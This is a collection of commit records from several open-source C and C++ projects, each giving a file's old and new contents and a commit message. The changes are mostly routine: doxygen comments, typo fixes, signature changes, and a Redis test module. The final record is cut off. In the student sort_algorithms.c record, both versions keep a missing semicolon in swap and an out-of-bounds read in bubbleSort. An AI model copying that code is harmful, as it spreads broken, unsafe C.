{"commit":"fd1f5bb3bf922fcfd5afdb5d6a0faced6eb995b3","old_file":"include\/Genes\/Pawn_Structure_Gene.h","new_file":"include\/Genes\/Pawn_Structure_Gene.h","old_contents":"#ifndef PAWN_STRUCTURE_GENE_H\n#define PAWN_STRUCTURE_GENE_H\n\n#include <string>\n#include <map>\n\n#include \"Genes\/Gene.h\"\n#include \"Game\/Piece.h\"\n#include \"Game\/Color.h\"\n\nclass Board;\n\nclass Pawn_Structure_Gene : public Clonable_Gene<Pawn_Structure_Gene>\n{\n    public:\n        Pawn_Structure_Gene() noexcept;\n        std::string name() const noexcept override;\n        double score_board(const Board& board, Piece_Color perspective, size_t depth, double game_progress) const noexcept override;\n\n    private:\n        double opening_guarded_by_pawn = 1.0;\n        double opening_guarded_by_pawn_in_one_move = 1.0;\n        double opening_guarded_by_piece = 1.0;\n\n        double endgame_guarded_by_pawn = 1.0;\n        double endgame_guarded_by_pawn_in_one_move = 1.0;\n        double endgame_guarded_by_piece = 1.0;\n\n        void gene_specific_mutation() noexcept override;\n        void adjust_properties(std::map<std::string, double>& properties) const noexcept override;\n        void load_gene_properties(const std::map<std::string, double>& properties) override;\n        void normalize_guard_scores() noexcept;\n};\n\n#endif \/\/ PAWN_STRUCTURE_GENE_H\n","new_contents":"#ifndef PAWN_STRUCTURE_GENE_H\n#define PAWN_STRUCTURE_GENE_H\n\n#include <string>\n#include <map>\n\n#include \"Genes\/Gene.h\"\n#include \"Game\/Piece.h\"\n#include \"Game\/Color.h\"\n\nclass Board;\n\n\/\/! \\brief A gene to evaluate how well pawns are protected.\nclass Pawn_Structure_Gene : public Clonable_Gene<Pawn_Structure_Gene>\n{\n    public:\n        Pawn_Structure_Gene() noexcept;\n        std::string name() const noexcept override;\n\n    private:\n        double opening_guarded_by_pawn = 1.0;\n        double opening_guarded_by_pawn_in_one_move = 1.0;\n        double opening_guarded_by_piece = 1.0;\n\n        double endgame_guarded_by_pawn = 1.0;\n        double endgame_guarded_by_pawn_in_one_move = 1.0;\n        double endgame_guarded_by_piece = 1.0;\n\n        double score_board(const Board& board, Piece_Color perspective, size_t depth, double game_progress) const noexcept override;\n        void gene_specific_mutation() noexcept override;\n        void adjust_properties(std::map<std::string, double>& properties) const noexcept override;\n        void load_gene_properties(const std::map<std::string, double>& properties) override;\n        void normalize_guard_scores() noexcept;\n};\n\n#endif \/\/ PAWN_STRUCTURE_GENE_H\n","subject":"Fix public\/private members and doxygen comments","message":"Fix public\/private members and doxygen comments\n","lang":"C","license":"mit","repos":"MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess,MarkZH\/Genetic_Chess"}
{"commit":"a919d4dcbd4286c675d4ef6d720dd80b71be3614","old_file":"sort_algorithms.c","new_file":"sort_algorithms.c","old_contents":"\/*  Author: \t\tDan Wilder\n *\n *  School:\t\tUniversity of Missouri - St. Louis\n *  Semester:\t\tFall 2015\n *  Class: \t\tCS 3130 - Design and Analysis of Algorithms   \n *  Instructor:\t\tGalina N. Piatnitskaia\n *\/\n \n#include \"sort_algorithms.h\"\n\nvoid swap(int *x, int *y) {\n  int temp = *x;\n  *x = *y\n  *y = temp;\n}\n\nvoid bubbleSort(int arr[], int n) {\n\/* with swaps counting. n is the size of arr.\n *\/\n  int i, j;\n  for (i = 0; i <= n-1; ++i)      \n    for (j = n; j >= i+1; --j)\n      if (arr[j] < arr[j-1])\n        swap(&arr[j], &arr[j-1]);\n}\n","new_contents":"\/*  Author: \t\tDan Wilder\n *\n *  School:\t\tUniversity of Missouri - St. Louis\n *  Semester:\t\tFall 2015\n *  Class: \t\tCS 3130 - Design and Analysis of Algorithms   \n *  Instructor:\t\tGalina N. Piatnitskaia\n *\/\n \n#include \"sort_algorithms.h\"\n\nvoid swap(int *x, int *y) {\n  int temp = *x;\n  *x = *y\n  *y = temp;\n}\n\nvoid bubbleSort(int arr[], int size) {\n\/* with swaps counting.\n *\/\n  int i, j;\n  for (i = 0; i <= size-1; ++i)      \n    for (j = size; j >= i+1; --j)\n      if (arr[j] < arr[j-1])\n        swap(&arr[j], &arr[j-1]);\n}\n","subject":"Change name of parameter in bubbleSort","message":"Change name of parameter in bubbleSort\n","lang":"C","license":"mit","repos":"sentientWilder\/Search-and-Sort,sentientWilder\/Search-and-Sort"}
{"commit":"f88f56d7356cd46fcc861a06aa4312e57486dfc5","old_file":"src\/popsift\/common\/sync_queue.h","new_file":"src\/popsift\/common\/sync_queue.h","old_contents":"#pragma once\n\n#include <condition_variable>\n#include <mutex>\n#include <queue>\n\nnamespace popsift {\n\n\/*************************************************************\n * SyncQueue\n * This is a basic alternative to the Boost sync_queue class.\n * It lets threads push and pull items off a queue in a thread\n * safe manner.\n *************************************************************\/\ntemplate<typename T>\nclass SyncQueue {\n public:\n  SyncQueue() = default;\n\n  \/* Push an item onto the queue and signal it's available. *\/\n  void push(const T& value) {\n    std::unique_lock<std::mutex> lock(mtx_);\n    items_.push(value);\n    lock.unlock();\n    signal_.notify_one();\n  }\n\n  \/* Check if the queue is empty - thread safety via mutex. *\/\n  bool empty() {\n    std::unique_lock<std::mutex> lock(mtx_);\n    return items_.empty();\n  }\n\n  \/* BLOCKING. Pull an item off the queue, or, wait until one arrives. *\/\n  T pull() {\n    std::unique_lock<std::mutex> lock(mtx_);\n    signal_.wait(lock, [this] { return !items_.empty(); });\n    auto ans = items_.front();\n    items_.pop();\n    return ans;\n  }\n\n private:\n  std::mutex mtx_;\n  std::queue<T> items_;\n  std::condition_variable signal_;\n};\n\n}  \/\/ namespace popsift","new_contents":"#pragma once\n\n#include <condition_variable>\n#include <mutex>\n#include <queue>\n\nnamespace popsift {\n\n\/**\n * @brief A thread safe wrapper around std::queue (replaces boost::sync_queue).\n * @tparam T the value type that's stored in the queue.\n *\/\ntemplate<typename T>\nclass SyncQueue {\npublic:\n  SyncQueue() = default;\n\n  \/**\n   * @brief Push an item onto the queue and signal it's available.\n   * @param[in] value the item to add to the queue.\n   *\/\n  void push(const T& value) {\n    std::unique_lock<std::mutex> lock(mtx_);\n    items_.push(value);\n    lock.unlock();\n    signal_.notify_one();\n  }\n\n  \/**\n   * @brief Check if the queue is empty - thread safety via mutex.\n   * @return True if the queue is empty.\n   *\/\n  bool empty() {\n    std::unique_lock<std::mutex> lock(mtx_);\n    return items_.empty();\n  }\n\n  \/**\n   * @brief Pull an item off the queue, or, wait until one arrives. Blocking.\n   * @return The front item that was popped off the queue.\n   *\/\n  T pull() {\n    std::unique_lock<std::mutex> lock(mtx_);\n    signal_.wait(lock, [this] { return !items_.empty(); });\n    auto ans = items_.front();\n    items_.pop();\n    return ans;\n  }\n\nprivate:\n  std::mutex mtx_;\n  std::queue<T> items_;\n  std::condition_variable signal_;\n};\n\n}  \/\/ namespace popsift","subject":"Add doxygen comments to SyncQueue.","message":"Add doxygen comments to SyncQueue.\n","lang":"C","license":"mpl-2.0","repos":"alicevision\/popsift,alicevision\/popsift,alicevision\/popsift"}
{"commit":"deaddeb464bb6922424a399be2cf62a57e90d7b5","old_file":"MoblicoSDK\/Services\/MLCSettingsService.h","new_file":"MoblicoSDK\/Services\/MLCSettingsService.h","old_contents":"\/*\n Copyright 2012 Moblico Solutions LLC\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this work except in compliance with the License.\n You may obtain a copy of the License in the LICENSE file, or at:\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import <MoblicoSDK\/MLCService.h>\n@class MLCSettings;\nNS_ASSUME_NONNULL_BEGIN\n\ntypedef void(^MLCSettingsServiceCompletionHandler)(id _Nullable MLCSettings,  NSError * _Nullable error, NSHTTPURLResponse * _Nullable response);\n\n@interface MLCSettingsService : MLCService\n\n+ (instancetype)readSettings:(MLCSettingsServiceCompletionHandler)handler;\n+ (MLCSettings *)settings;\n+ (void)overrideSettings:(nullable NSDictionary *)settings;\n\n@end\n\n\n@interface MLCSettings : NSObject\n\n- (nullable id)objectForKey:(NSString *)key;\n- (nullable id)objectForKeyedSubscript:(NSString *)key;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/*\n Copyright 2012 Moblico Solutions LLC\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this work except in compliance with the License.\n You may obtain a copy of the License in the LICENSE file, or at:\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import <MoblicoSDK\/MLCService.h>\n@class MLCSettings;\nNS_ASSUME_NONNULL_BEGIN\n\ntypedef void(^MLCSettingsServiceCompletionHandler)(MLCSettings * _Nullable MLCSettings,  NSError * _Nullable error, NSHTTPURLResponse * _Nullable response);\n\n@interface MLCSettingsService : MLCService\n\n+ (instancetype)readSettings:(MLCSettingsServiceCompletionHandler)handler;\n+ (MLCSettings *)settings;\n+ (void)overrideSettings:(nullable NSDictionary *)settings;\n\n@end\n\n\n@interface MLCSettings : NSObject\n\n- (nullable id)objectForKey:(NSString *)key;\n- (nullable id)objectForKeyedSubscript:(NSString *)key;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Update type in SettingsService callback.","message":"Update type in SettingsService callback.\n","lang":"C","license":"apache-2.0","repos":"Moblico\/MoblicoSDK-iOS"}
{"commit":"a7792a50ca0d22f595d01d191252ab20f5cb206c","old_file":"integration\/cocos2d-x-v2\/include\/bee\/Cocos2dxBeehive.h","new_file":"integration\/cocos2d-x-v2\/include\/bee\/Cocos2dxBeehive.h","old_contents":"\/\/\n\/\/ Created by Dawid Drozd aka Gelldur on 08.10.17.\n\/\/\n#pragma once\n\n#include <map>\n#include <string>\n#include <vector>\n\n#include <bee\/Beehive.h>\n\nnamespace cocos2d\n{\nclass CCNode;\n}\n\nnamespace Bee\n{\n\nclass Graph;\nclass Node;\n\nclass Cocos2dxBeehive\n{\npublic:\n\tCocos2dxBeehive(const std::vector<std::string>& searchPaths);\n\t~Cocos2dxBeehive();\n\n\tcocos2d::CCNode* createView(const std::string& content);\n\n\tcocos2d::CCNode* findViewById(const std::string& id);\n\nprivate:\n\tGraph* _graph;\n\tstd::shared_ptr<sel::State> _state;\n\tBee::Beehive _beehive;\n\n\tvoid addRelation(Node* nodeParent, Node* nodeChild);\n};\n}\n","new_contents":"\/\/\n\/\/ Created by Dawid Drozd aka Gelldur on 08.10.17.\n\/\/\n#pragma once\n\n#include <map>\n#include <string>\n#include <vector>\n\n#include <bee\/Beehive.h>\n\nnamespace cocos2d\n{\nclass CCNode;\n}\n\nnamespace Bee\n{\n\nclass Graph;\nclass Node;\n\nclass Cocos2dxBeehive\n{\npublic:\n\tCocos2dxBeehive(const std::vector<std::string>& searchPaths);\n\t~Cocos2dxBeehive();\n\n\tcocos2d::CCNode* createView(const std::string& content);\n\n\tcocos2d::CCNode* findViewById(const std::string& id);\n\n\tconst std::shared_ptr<sel::State>& getState()\n\t{\n\t\treturn _state;\n\t}\n\nprivate:\n\tGraph* _graph;\n\tstd::shared_ptr<sel::State> _state;\n\tBee::Beehive _beehive;\n\n\tvoid addRelation(Node* nodeParent, Node* nodeChild);\n};\n}\n","subject":"Add getter for lua state","message":"Add getter for lua state\n","lang":"C","license":"apache-2.0","repos":"gelldur\/Bee"}
{"commit":"62313cd8de5b7809f748801fccd8010334cb4851","old_file":"src\/include\/cdb\/cdbsrlz.h","new_file":"src\/include\/cdb\/cdbsrlz.h","old_contents":"\/*-------------------------------------------------------------------------\n *\n * cdbsrlz.h\n *\t  definitions for paln serialization utilities\n *\n * Copyright (c) 2004-2008, Greenplum inc\n *\n * NOTES\n *\n *-------------------------------------------------------------------------\n *\/\n\n#ifndef CDBSRLZ_H\n#define CDBSRLZ_H\n\n#include \"nodes\/nodes.h\"\n\nextern char *serializeNode(Node *node, int *size, int *uncompressed_size);\nextern Node *deserializeNode(const char *strNode, int size);\n\n#endif   \/* CDBSRLZ_H *\/\n","new_contents":"\/*-------------------------------------------------------------------------\n *\n * cdbsrlz.h\n *\t  definitions for plan serialization utilities\n *\n * Copyright (c) 2004-2008, Greenplum inc\n *\n * NOTES\n *\n *-------------------------------------------------------------------------\n *\/\n\n#ifndef CDBSRLZ_H\n#define CDBSRLZ_H\n\n#include \"nodes\/nodes.h\"\n\nextern char *serializeNode(Node *node, int *size, int *uncompressed_size);\nextern Node *deserializeNode(const char *strNode, int size);\n\n#endif   \/* CDBSRLZ_H *\/\n","subject":"Fix typo in header file comment","message":"Fix typo in header file comment\n","lang":"C","license":"apache-2.0","repos":"janebeckman\/gpdb,atris\/gpdb,cjcjameson\/gpdb,yuanzhao\/gpdb,50wu\/gpdb,kaknikhil\/gpdb,foyzur\/gpdb,tangp3\/gpdb,chrishajas\/gpdb,atris\/gpdb,Quikling\/gpdb,rvs\/gpdb,jmcatamney\/gpdb,0x0FFF\/gpdb,Quikling\/gpdb,atris\/gpdb,janebeckman\/gpdb,zaksoup\/gpdb,cjcjameson\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,kaknikhil\/gpdb,0x0FFF\/gpdb,lintzc\/gpdb,cjcjameson\/gpdb,0x0FFF\/gpdb,Quikling\/gpdb,chrishajas\/gpdb,chrishajas\/gpdb,rvs\/gpdb,zaksoup\/gpdb,Chibin\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,50wu\/gpdb,lisakowen\/gpdb,50wu\/gpdb,greenplum-db\/gpdb,cjcjameson\/gpdb,xinzweb\/gpdb,xinzweb\/gpdb,Quikling\/gpdb,royc1\/gpdb,Chibin\/gpdb,edespino\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,lintzc\/gpdb,foyzur\/gpdb,lpetrov-pivotal\/gpdb,greenplum-db\/gpdb,ashwinstar\/gpdb,Quikling\/gpdb,jmcatamney\/gpdb,0x0FFF\/gpdb,edespino\/gpdb,yuanzhao\/gpdb,CraigHarris\/gpdb,ahachete\/gpdb,lintzc\/gpdb,Chibin\/gpdb,yuanzhao\/gpdb,atris\/gpdb,greenplum-db\/gpdb,adam8157\/gpdb,randomtask1155\/gpdb,rvs\/gpdb,ashwinstar\/gpdb,lisakowen\/gpdb,rubikloud\/gpdb,royc1\/gpdb,atris\/gpdb,lintzc\/gpdb,atris\/gpdb,CraigHarris\/gpdb,ahachete\/gpdb,tangp3\/gpdb,atris\/gpdb,ashwinstar\/gpdb,edespino\/gpdb,cjcjameson\/gpdb,ahachete\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,Chibin\/gpdb,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,ahachete\/gpdb,cjcjameson\/gpdb,edespino\/gpdb,rvs\/gpdb,foyzur\/gpdb,Quikling\/gpdb,xinzweb\/gpdb,randomtask1155\/gpdb,0x0FFF\/gpdb,lintzc\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,lpetrov-pivotal\/gpdb,kaknikhil\/gpdb,randomtask1155\/gpdb,janebeckman\/gpdb,royc1\/gpdb,lpetrov-pivotal\/gpdb,xuegang\/gpdb,xuegang\/gpdb,50wu\/gpdb,tangp3\/gpdb,chrishajas\/gpdb,zaksoup\/gpdb,zaksoup\/gpdb,janebeckman\/gpdb,royc1\/gpdb,adam8157\/gpdb,atris\/gpdb,xinzweb\/gpdb,lpetrov-pivotal\/gpdb,edespino\/gpdb,xuegang\/gpdb,yuanzhao\/gpdb,randomtask1155\/gpdb,Chibin\/gpdb,ahachete\/gpdb,Quikling\/gpdb,50wu\/gpdb,edespino\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,edespino\/gpdb,Quikling\/gpdb,tangp3\/gpdb,rubikloud\/gpdb,jmcatamney\/gpdb,foyzur\/gpdb,royc1\/gpdb,greenplum-db\/gpdb,xinzweb\/gpdb,kaknikhil\/gpdb,chrishajas\/gpdb,jmcatamney\/gpdb,rubikloud\/gpdb,lintzc\/gpdb,yuanzhao\/gpdb,foyzur\/gpdb,adam8157\/gpdb,CraigHarris\/gpdb,rvs\/gpdb,ahachete\/gpdb,0x0FFF\/gpdb,CraigHarris\/gpdb,foyzur\/gpdb,rubikloud\/gpdb,lisakowen\/gpdb,tangp3\/gpdb,cjcjameson\/gpdb,CraigHarris\/gpdb,jmcatamney\/gpdb,jmcatamney\/gpdb,zaksoup\/gpdb,lisakowen\/gpdb,lisakowen\/gpdb,rubikloud\/gpdb,janebeckman\/gpdb,kaknikhil\/gpdb,randomtask1155\/gpdb,xuegang\/gpdb,greenplum-db\/gpdb,0x0FFF\/gpdb,ashwinstar\/gpdb,adam8157\/gpdb,xuegang\/gpdb,yuanzhao\/gpdb,50wu\/gpdb,yuanzhao\/gpdb,janebeckman\/gpdb,CraigHarris\/gpdb,greenplum-db\/gpdb,chrishajas\/gpdb,royc1\/gpdb,CraigHarris\/gpdb,edespino\/gpdb,randomtask1155\/gpdb,zaksoup\/gpdb,xuegang\/gpdb,rvs\/gpdb,rvs\/gpdb,Chibin\/gpdb,rvs\/gpdb,ashwinstar\/gpdb,kaknikhil\/gpdb,zaksoup\/gpdb,0x0FFF\/gpdb,adam8157\/gpdb,xinzweb\/gpdb,janebeckman\/gpdb,cjcjameson\/gpdb,lpetrov-pivotal\/gpdb,greenplum-db\/gpdb,jmcatamney\/gpdb,CraigHarris\/gpdb,xuegang\/gpdb,edespino\/gpdb,lpetrov-pivotal\/gpdb,jmcatamney\/gpdb,cjcjameson\/gpdb,foyzur\/gpdb,rvs\/gpdb,lisakowen\/gpdb,janebeckman\/gpdb,lintzc\/gpdb,adam8157\/gpdb,chrishajas\/gpdb,rvs\/gpdb,kaknikhil\/gpdb,edespino\/gpdb,randomtask1155\/gpdb,Chibin\/gpdb,adam8157\/gpdb,foyzur\/gpdb,lpetrov-pivotal\/gpdb,rubikloud\/gpdb,yuanzhao\/gpdb,royc1\/gpdb,ahachete\/gpdb,tangp3\/gpdb,Quikling\/gpdb,royc1\/gpdb,50wu\/gpdb,tangp3\/gpdb,xuegang\/gpdb,yuanzhao\/gpdb,50wu\/gpdb,ahachete\/gpdb,xuegang\/gpdb,kaknikhil\/gpdb,cjcjameson\/gpdb,Chibin\/gpdb,ashwinstar\/gpdb,kaknikhil\/gpdb,ashwinstar\/gpdb,janebeckman\/gpdb,rubikloud\/gpdb,adam8157\/gpdb,Chibin\/gpdb,Chibin\/gpdb,chrishajas\/gpdb,randomtask1155\/gpdb,xinzweb\/gpdb,yuanzhao\/gpdb"}
{"commit":"a911ff6cc87fa430dac4cbe0017633796907b839","old_file":"src\/test\/resources\/testmodule.c","new_file":"src\/test\/resources\/testmodule.c","old_contents":"#include \"redismodule.h\"\n#include <stdlib.h>\n\nint HelloworldRand_RedisCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {\n    RedisModule_ReplyWithLongLong(ctx,rand());\n    return REDISMODULE_OK;\n}\n\nint RedisModule_OnLoad(RedisModuleCtx *ctx) {\n if (RedisModule_Init(ctx,\"testmodule\",1,REDISMODULE_APIVER_1)\n        == REDISMODULE_ERR) return REDISMODULE_ERR;\n\n    if (RedisModule_CreateCommand(ctx,\"testmodule.simple\",\n        HelloworldRand_RedisCommand,\n        \"write deny-oom\",1,2,1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n}","new_contents":"#include \"redismodule.h\"\n#include <stdlib.h>\n\nint HelloworldRand_RedisCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {\n    RedisModule_ReplyWithLongLong(ctx,rand());\n    return REDISMODULE_OK;\n}\n\nint RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) {\n if (RedisModule_Init(ctx,\"testmodule\",1,REDISMODULE_APIVER_1)\n        == REDISMODULE_ERR) return REDISMODULE_ERR;\n\n    if (RedisModule_CreateCommand(ctx,\"testmodule.simple\",\n        HelloworldRand_RedisCommand,\n        \"readonly\",0,0,0) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n}","subject":"Fix OnLoad signature and configure command parameters properly","message":"Fix OnLoad signature and configure command parameters properly\n","lang":"C","license":"mit","repos":"RedisLabs\/jedis,HeartSaVioR\/jedis,yapei123\/jedis,sazzad16\/jedis,mosoft521\/jedis,mosoft521\/jedis,HeartSaVioR\/jedis,smagellan\/jedis,sazzad16\/jedis,zts1993\/jedis,yapei123\/jedis,smagellan\/jedis,xetorthio\/jedis,xetorthio\/jedis,zts1993\/jedis,RedisLabs\/jedis"}
{"commit":"3a189a9e85e9f494f40e44012f864e663274181b","old_file":"tests\/regression\/02-base\/92-ad-union-fields.c","new_file":"tests\/regression\/02-base\/92-ad-union-fields.c","old_contents":"","new_contents":"\/\/ SKIP\n\/\/ TODO: be sound and claim that assert may hold instead of must not hold\n\/\/ assert passes when compiled\n#include <assert.h>\n\nunion u {\n  int fst;\n  float snd;\n};\n\nint main() {\n  union u a;\n  void *p = &a.fst;\n  void *q = &a.snd;\n  assert(p == q);\n  return 0;\n}\n","subject":"Add skipped base union field pointer unsoundness test","message":"Add skipped base union field pointer unsoundness test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"71db9767599b54ee8f8622bee2420daf78603dcf","old_file":"arch\/x86_64\/rsp\/vmov.c","new_file":"arch\/x86_64\/rsp\/vmov.c","old_contents":"\/\/\n\/\/ arch\/x86_64\/rsp\/vmov.c\n\/\/\n\/\/ This file is subject to the terms and conditions defined in\n\/\/ 'LICENSE', which is part of this source code package.\n\/\/\n\n#include \"common.h\"\n#include \"rsp\/cpu.h\"\n#include \"rsp\/rsp.h\"\n\n__m128i rsp_vmov(struct rsp *rsp,\n  unsigned src, unsigned e, unsigned dest, unsigned de) {\n  uint16_t data;\n\n  \/\/ Get the element from VT.\n  data = rsp->cp2.div_in = rsp->cp2.regs[src].e[e];\n\n  \/\/ Write out the upper part of the result.\n  rsp->cp2.regs[dest].e[de] = data;\n  return rsp_vect_load_unshuffled_operand(rsp->cp2.regs[dest].e);\n}\n\n","new_contents":"\/\/\n\/\/ arch\/x86_64\/rsp\/vmov.c\n\/\/\n\/\/ This file is subject to the terms and conditions defined in\n\/\/ 'LICENSE', which is part of this source code package.\n\/\/\n\n#include \"common.h\"\n#include \"rsp\/cpu.h\"\n#include \"rsp\/rsp.h\"\n\n__m128i rsp_vmov(struct rsp *rsp,\n  unsigned src, unsigned e, unsigned dest, unsigned de) {\n  uint16_t data;\n\n  \/\/ Get the element from VT.\n  data = rsp->cp2.regs[src].e[e];\n\n  \/\/ Write out the upper part of the result.\n  rsp->cp2.regs[dest].e[de] = data;\n  return rsp_vect_load_unshuffled_operand(rsp->cp2.regs[dest].e);\n}\n\n","subject":"Fix a typo in the VMOV implementation.","message":"Fix a typo in the VMOV implementation.\n","lang":"C","license":"bsd-3-clause","repos":"tj90241\/cen64,LuigiBlood\/cen64,tj90241\/cen64,LuigiBlood\/cen64"}
{"commit":"a2301921e37925bcc77fd2326249d13ff6a2792d","old_file":"src\/trm\/ft_trmsignalhook.c","new_file":"src\/trm\/ft_trmsignalhook.c","old_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   ft_trmsignalhook.c                                 :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: ncoden <ncoden@student.42.fr>              +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2015\/05\/14 17:12:55 by ncoden            #+#    #+#             *\/\n\/*   Updated: 2015\/05\/18 16:04:52 by ncoden           ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include \"libft.h\"\n\nvoid\t\t\tft_trmsignalhook(t_trm *trm, char sig, void (*func)(void *),\n\t\t\t\t\tvoid *data)\n{\n\tt_ilst_evnt\t*event;\n\n\tif ((event = (t_ilst_evnt *)ft_ilstpushfront__(sizeof(t_ilst_evnt),\n\t\t\t(t_ilst **)&trm->on_signal, sig)))\n\t{\n\t\tevent->event.func = func;\n\t\tevent->event.data = data;\n\t}\n}\n","new_contents":"\/* ************************************************************************** *\/\n\/*                                                                            *\/\n\/*                                                        :::      ::::::::   *\/\n\/*   ft_trmsignalhook.c                                 :+:      :+:    :+:   *\/\n\/*                                                    +:+ +:+         +:+     *\/\n\/*   By: ncoden <ncoden@student.42.fr>              +#+  +:+       +#+        *\/\n\/*                                                +#+#+#+#+#+   +#+           *\/\n\/*   Created: 2015\/05\/14 17:12:55 by ncoden            #+#    #+#             *\/\n\/*   Updated: 2015\/05\/23 23:50:08 by ncoden           ###   ########.fr       *\/\n\/*                                                                            *\/\n\/* ************************************************************************** *\/\n\n#include \"libft.h\"\n\nvoid\t\t\tft_trmsignalhook(t_trm *trm, char sig, void (*func)(void *),\n\t\t\t\t\tvoid *data)\n{\n\tt_ilst_evnt\t*event;\n\n\tif ((event = (t_ilst_evnt *)ft_ilstpush__(sizeof(t_ilst_evnt),\n\t\t\t(t_ilst **)&trm->on_signal, sig)))\n\t{\n\t\tevent->event.func = func;\n\t\tevent->event.data = data;\n\t}\n}\n","subject":"Change the ilst content (2)","message":"Change the ilst content (2)\n","lang":"C","license":"apache-2.0","repos":"ncoden\/libft"}
{"commit":"c10dc660e2f20fa099f7186bf4867f685a398758","old_file":"qt\/database.h","new_file":"qt\/database.h","old_contents":"\/*\n * Copyright (C) 2014 Matthias Klumpp <matthias@tenstral.net>\n *\n * Licensed under the GNU Lesser General Public License Version 2.1\n *\n * This library is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 2.1 of the license, or\n * (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef DATABASE_H\n#define DATABASE_H\n\n#include <QtCore>\n#include \"appstream-qt_global.h\"\n#include \"component.h\"\n\nnamespace Appstream {\n\nclass DatabasePrivate;\n\nclass ASQTSHARED_EXPORT Database : public QObject\n{\n    Q_OBJECT\n\npublic:\n    Database(QObject *parent = 0);\n    ~Database();\n\n    bool open();\n\n    Component* getComponentById(QString id);\n    QList<Component*> getAllComponents();\n    QList<Component*> getComponentsByKind(Component::Kind kind);\n\n    QList<Component*> findComponentsByString(QString searchTerms, QString categories = \"\");\n\nprivate:\n    DatabasePrivate *priv;\n};\n\n} \/\/ End of namespace: Appstream\n\n#endif \/\/ DATABASE_H\n","new_contents":"\/*\n * Copyright (C) 2014 Matthias Klumpp <matthias@tenstral.net>\n *\n * Licensed under the GNU Lesser General Public License Version 2.1\n *\n * This library is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License as published by\n * the Free Software Foundation, either version 2.1 of the license, or\n * (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with this library.  If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef DATABASE_H\n#define DATABASE_H\n\n#include <QtCore>\n#include \"appstream-qt_global.h\"\n#include \"component.h\"\n\nnamespace Appstream {\n\nclass DatabasePrivate;\n\nclass ASQTSHARED_EXPORT Database : public QObject\n{\n    Q_OBJECT\n\npublic:\n    Database(QObject *parent = 0);\n    ~Database();\n\n    bool open();\n\n    Component* getComponentById(QString id);\n    QList<Component*> getAllComponents();\n    QList<Component*> getComponentsByKind(Component::Kind kind);\n\n    QList<Component*> findComponentsByString(QString searchTerms, QString categories = QString());\n\nprivate:\n    DatabasePrivate *priv;\n};\n\n} \/\/ End of namespace: Appstream\n\n#endif \/\/ DATABASE_H\n","subject":"Use QString() as default paramater for an empty string","message":"trivial: Use QString() as default paramater for an empty string\n","lang":"C","license":"lgpl-2.1","repos":"ximion\/appstream,ximion\/appstream,ximion\/appstream,ximion\/appstream"}
{"commit":"31f9fa46901ed41ea21f43b1a05481112370e8f1","old_file":"PaymentKit\/PKCardNumber.h","new_file":"PaymentKit\/PKCardNumber.h","old_contents":"\/\/\n\/\/  CardNumber.h\n\/\/  PKPayment Example\n\/\/\n\/\/  Created by Alex MacCaw on 1\/22\/13.\n\/\/  Copyright (c) 2013 Stripe. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n#import \"PKCardType.h\"\n\n@interface PKCardNumber : NSObject\n\n@property (nonatomic, readonly) PKCardType cardType;\n@property (nonatomic, readonly) NSString * last4;\n@property (nonatomic, readonly) NSString * lastGroup;\n@property (nonatomic, readonly) NSString * string;\n@property (nonatomic, readonly) NSString * formattedString;\n@property (nonatomic, readonly) NSString * formattedStringWithTrail;\n\n+ (id) cardNumberWithString:(NSString *)string;\n- (id) initWithString:(NSString *)string;\n- (BOOL)isValid;\n- (BOOL)isValidLength;\n- (BOOL)isValidLuhn;\n- (BOOL)isPartiallyValid;\n\n@end\n","new_contents":"\/\/\n\/\/  